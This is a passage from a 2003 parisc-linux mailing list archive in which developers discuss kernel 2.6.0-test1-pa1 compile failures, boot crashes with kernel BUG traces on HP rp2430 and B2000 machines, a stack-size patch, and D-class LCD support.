	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18956

>> palx4000:/usr/src/linux-2.6.0-test1-pa1# 
>
>that's make segfaulting.  139 is 128 + 11 == signal 11 == segfault.

Too bad (i will try to grab back gcc-3.0 64bits so)

thanks,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.0-test1-pa1 64bits failled to compile
Date: Wed, 16 Jul 2003 20:07:35 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3F0C24F800000FF9@ocpmta8.freegates.net>
References: <20030716165328.GK30257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622604 27975 80.91.229.3 (22 Nov 2014 02:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:44 +0000 (UTC)
To: "Randolph Chung" <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 12:07:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B6A44864
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 12:07:38 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19cqf9-0005z2-00; Wed, 16 Jul 2003 20:05:59 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 16 Jul 2003 20:07:35 +0200
In-Reply-To: <20030716165328.GK30257@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18957


>and the workaround for this for now is to disable CONFIG_KALLSYMS. I
>sent Dave a patch to review to fix this problem last night. let's see
>how that goes.

Thanks Randolph (I go to sleep now :) )

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan Sporbeck <jan_lists@sporbeck-family.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Chassis LCD on D200 supported?
Date: Wed, 16 Jul 2003 20:36:57 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <3F159B49.1020100@sporbeck-family.de>
References: <3F0FF827.10107@sporbeck-family.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622604 27980 80.91.229.3 (22 Nov 2014 02:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 12:35:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.sporbeck-family.de (pD9E1DA5B.dip.t-dialin.net [217.225.218.91])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42A76482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 12:35:14 -0600 (MDT)
Original-Received: from [192.168.100.101] (helo=sporbeck-family.de)
	by mailhost.sporbeck-family.de with esmtp (Exim 4.14)
	id 19cr9T-00077j-KN
	for parisc-linux@lists.parisc-linux.org; Wed, 16 Jul 2003 20:37:19 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: en-us, en
X-Spam-Score: -2.1 (--)
X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19cr9T-00077j-KN*.OEunRuRanc*
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18958

Hello again,

Jan Sporbeck wrote:
> Hello,
> 
> I am just wondering if the chassis lcd is supported on 9000/801/D200.

Doesnot anyone know?
Is there no one using the lcd on a D-class?

thanks,
/jan.



From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-test1-pa1, fails, to, boot, on, rp2430
Date: Wed, 16 Jul 2003 20:15:28 -0400
Lines: 118
Approved: news@gmane.org
Message-ID: <20030717001528.GA20610@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622605 27985 80.91.229.3 (22 Nov 2014 02:16:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>, Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 18:16:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D751482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 18:16:42 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19cwQi-0005Me-00; Wed, 16 Jul 2003 20:15:28 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (84% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18959

pa,

My rp2430 has yet to boot into a usable userspace, it always dies at
some point after serial console setup.

Today for fun I reseated everything, added ram upto 1.5GB, and stuck in
my PCI Matrox II card into the first PCI slot.

I don't get any further than the end of the output. Any thoughts about
PCI problems would be welcome :)

The output is as follows:
---

Command line for kernel: 'console=/dev/ttyS0 root=/dev/sda2 palo_kernel=0/vmlinux64'
Selected kernel: /vmlinux64 from partition 0
ELF64 executable
Entry 00100000 first 00100000 n 1
Segment 0 load 00100000 size 4219008 mediaptr 0x1000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.0-test1-pa0 (tausq@ios) (gcc version 3.0.4) #112 Tue Jul 15 22:35:45 PDT 2003
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005e20 00000491 00000000 00000001 6dd843ae 100000f0 00000008 000000b2 000000b2
vers  00000203
CPUID vers 19 rev 8 (0x00000268)
capabilities 0x5
model 9000/800/A500-6X
Total Memory: 1536 Mb
pagetable_init
On node 0 totalpages: 393216
  DMA zone: 393216 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: console=/dev/ttyS0 root=/dev/sda2 palo_kernel=0/vmlinux64
PID hash table entries: 16 (order 4: 256 bytes)
Console: colour dummy device 160x64
Calibrating delay loop... 1294.33 BogoMIPS
Memory: 1534524k available
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
-> /dev
-> /dev/console
-> /root
POSIX conformance testing by UNIFIX
Initializing RT netlink socket
Searching for devices...
Found devices:
1. Crescendo 650 W2 (0) at 0xfffffffffffa0000 [160], versions 0x5e2, 0x0, 0x4
2. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582, 0x0, 0xb
3. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 0x0, 0xa
4. Elroy PCI Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 0x0, 0xa
5. Elroy PCI Bridge (13) at 0xfffffffffed38000 [0/4], versions 0x782, 0x0, 0xa
6. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 0x0, 0xa
7. Memory (1) at 0xfffffffffed08000 [8], versions 0x9b, 0x0, 0x9
CPU(s): 1 x PA8700 (PCX-W2) at 650.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
lba version TR4.0 (0x5) found at 0xfffffffffed30000
kernel BUG at arch/parisc/kernel/pci.c:338!
Kernel addresses on the stack:
 [<000000001010e3d8>] show_trace+0x40/0x110
 [<000000001010e224>] dump_stack+0x24/0x38
 [<0000000010117d00>] pcibios_register_hba+0x70/0xc8
 [<00000000104a3b18>] lba_common_init+0x38/0x68
 [<00000000104a3ce4>] lba_driver_callback+0x19c/0x300
 [<00000000101c9b88>] sysfs_create_dir+0xa0/0x168
 [<0000000010113a10>] parisc_driver_probe+0x48/0x90
 [<0000000010280688>] bus_match+0x70/0xb8
 [<0000000010280818>] driver_attach+0x98/0xa8
 [<0000000010280b68>] bus_add_driver+0xd8/0xf0
 [<0000000010112b70>] pdc_pat_get_irt+0x48/0x68
 [<0000000010281098>] driver_register+0x48/0x60
 [<0000000010113c28>] register_parisc_driver+0x158/0x170
 [<00000000104a3e6c>] lba_init+0x24/0x38
 [<00000000104965f4>] parisc_init+0x114/0x130
 [<000000001049096c>] do_initcalls+0x84/0x120
 [<0000000010490a50>] do_basic_setup+0x48/0x78
 [<00000000101003b8>] init+0x38/0x238
 [<000000001010947c>] ret_from_kernel_thread+0x24/0x38

lba range[2] : ignoring GMMIO (0xfffffff804000000)

PCI: No parent found for region 6 of device 0000:00:00.0 [ffffffffb7f00000:ffffffffb7f3ffff]
lba version TR4.0 (0x5) found at 0xfffffffffed34000
kernel BUG at arch/parisc/kernel/pci.c:338!
Kernel addresses on the stack:
 [<000000001010e3d8>] show_trace+0x40/0x110
 [<000000001010e224>] dump_stack+0x24/0x38
 [<0000000010117d00>] pcibios_register_hba+0x70/0xc8
 [<00000000104a3b18>] lba_common_init+0x38/0x68
 [<00000000104a3ce4>] lba_driver_callback+0x19c/0x300
 [<00000000101139b4>] claim_device+0x34/0x48
 [<0000000010113a10>] parisc_driver_probe+0x48/0x90
 [<0000000010280688>] bus_match+0x70/0xb8
 [<0000000010280818>] driver_attach+0x98/0xa8
 [<0000000010280b68>] bus_add_driver+0xd8/0xf0
 [<0000000010112b70>] pdc_pat_get_irt+0x48/0x68
 [<0000000010281098>] driver_register+0x48/0x60
 [<0000000010113c28>] register_parisc_driver+0x158/0x170
 [<00000000104a3e6c>] lba_init+0x24/0x38
 [<00000000104965f4>] parisc_init+0x114/0x130
 [<000000001049096c>] do_initcalls+0x84/0x120
 [<0000000010490a50>] do_basic_setup+0x48/0x78
 [<00000000101003b8>] init+0x38/0x238
 [<000000001010947c>] ret_from_kernel_thread+0x24/0x38

lba range[2] : ignoring GMMIO (0xfffffff904000000)
---

c.



From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1, fails, to, boot, on, rp2430
Date: Thu, 17 Jul 2003 01:36:34 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20030717003634.GS23808@parcelfarce.linux.theplanet.co.uk>
References: <20030717001528.GA20610@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622605 27989 80.91.229.3 (22 Nov 2014 02:16:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>, Matthew Wilcox <willy@debian.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 16 18:36:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BF20482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 18:36:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19cwl8-0007es-RO; Thu, 17 Jul 2003 01:36:34 +0100
Content-Disposition: inline
In-Reply-To: <20030717001528.GA20610@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18960

On Wed, Jul 16, 2003 at 08:15:28PM -0400, Carlos O'Donell wrote:
> Linux version 2.6.0-test1-pa0 (tausq@ios) (gcc version 3.0.4) #112 Tue Jul 15 22:35:45 PDT 2003

try updating to -pa1 ... the misplaced BUG() is gone.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.0-test1-pa1 64bits failled to compile
Date: Thu, 17 Jul 2003 02:54:29 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200307170654.h6H6sT0b019727@hiauly1.hia.nrc.ca>
References: <20030716165328.GK30257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622605 27998 80.91.229.3 (22 Nov 2014 02:16:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 00:54:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29BC34847
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 00:54:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h6H6sUgL019728;
	Thu, 17 Jul 2003 02:54:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h6H6sT0b019727;
	Thu, 17 Jul 2003 02:54:29 -0400 (EDT)
In-Reply-To: <20030716165328.GK30257@tausq.org> from "Randolph Chung" at Jul 16, 2003 09:53:28 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18961

> and the workaround for this for now is to disable CONFIG_KALLSYMS. I
> sent Dave a patch to review to fix this problem last night. let's see
> how that goes.

I will try to get to it as soon as I can.  At the moment, I am working
14 hours a day on firmware for a local company.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix arbitrary limits on stack size
Date: Thu, 17 Jul 2003 11:52:50 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3F0BEA8300001F1D@ocpmta1.freegates.net>
References: <20030716173621.GM23808@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622606 28001 80.91.229.3 (22 Nov 2014 02:16:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:46 +0000 (UTC)
Cc: "James Bottomley" <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 03:52:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39DC04837
	for <parisc-linux@parisc-linux.org>; Thu, 17 Jul 2003 03:52:58 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19d5Pu-0002q3-00; Thu, 17 Jul 2003 11:51:14 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 17 Jul 2003 11:52:50 +0200
In-Reply-To: <20030716173621.GM23808@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18962

> um, the stack continues to grow up.  it's just a question of where the
> stack starts at.  before, it was at top of memory - stack limit, now it's
> at task_unmapped_base and mmaps grow down from the top of memory.

Ok I missunderstood.

This said, I applied against 2.6.0-test1-pa1. It compiled well and also boot
well on my b180 of test (still have a pb with b2k and N; another story).

I also try to re-compile kernel 2.6 reboot with this last one: all seems
ok.

hth,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 2.6.0-test1-pa1, fails, to, boot, on, rp2430
Date: Thu, 17 Jul 2003 17:38:39 +0200
Lines: 232
Approved: news@gmane.org
Message-ID: <3F0BEA8300002113@ocpmta1.freegates.net>
References: <20030717001528.GA20610@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622606 28008 80.91.229.3 (22 Nov 2014 02:16:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:46 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	"Randolph Chung" <tausq@debian.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 09:38:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 668664837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 09:38:47 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19dAnj-0007j8-00; Thu, 17 Jul 2003 17:36:11 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 17 Jul 2003 17:38:39 +0200
In-Reply-To: <20030717001528.GA20610@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18963

Hi pa,

>My rp2430 has yet to boot into a usable userspace, it always dies at
>some point after serial console setup.

I also encounter a similar pb with my b2k (with 2.6.0-test1-pa1 _32bits_
compiled).
It start to boot:
Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=3/vmlinux-2.6.0-test1-pa1'
Selected kernel: /vmlinux-2.6.0-test1-pa1 from partition 3
ELF32 executable
Entry 00100260 first 00100000 n 3
Segment 0 load 00100000 size 2526736 mediaptr 0x1000
Segment 1 load 0036a000 size 389364 mediaptr 0x26a000
Segment 2 load 003cc000 size 516223 mediaptr 0x2ca000
Branching to kernel entry point 0x00100260.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.0-test1-pa1 (root@palx2000) (gcc version 3.3.1 20030626
(Debian prerelease)) #1 Wed Jul 16 16:09:48 CEST 2003
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005d00 00000481 00000000 00000002 77e93910 100000f0 00000008 000000b2
000000b2
vers  00000301
CPUID vers 17 rev 11 (0x0000022b)
capabilities 0x3
model 9000/785/B2000
Total Memory: 256 Mb
pagetable_init
On node 0 totalpages: 65536
  DMA zone: 65536 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux-2.6.0-test1-pa1
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Calibrating delay loop... 799.53 BogoMIPS
Memory: 255656k available
Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
-> /dev
-> /dev/console
-> /root
POSIX conformance testing by UNIFIX
Initializing RT netlink socket
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, 0xb
2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
4. Kazoo W+ (0) at 0xfffa0000 [32], versions 0x5d0, 0x0, 0x4
5. Memory (1) at 0xfed10200 [49], versions 0x9d, 0x0, 0x9
CPU(s): 1 x PA8600 (PCX-W+) at 400.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR4.0 (0x5) found at 0xfed30000
PCI: Ignoring BAR0-3 of IDE controller 0000:00:0e.0
lba version TR4.0 (0x5) found at 0xfed32000
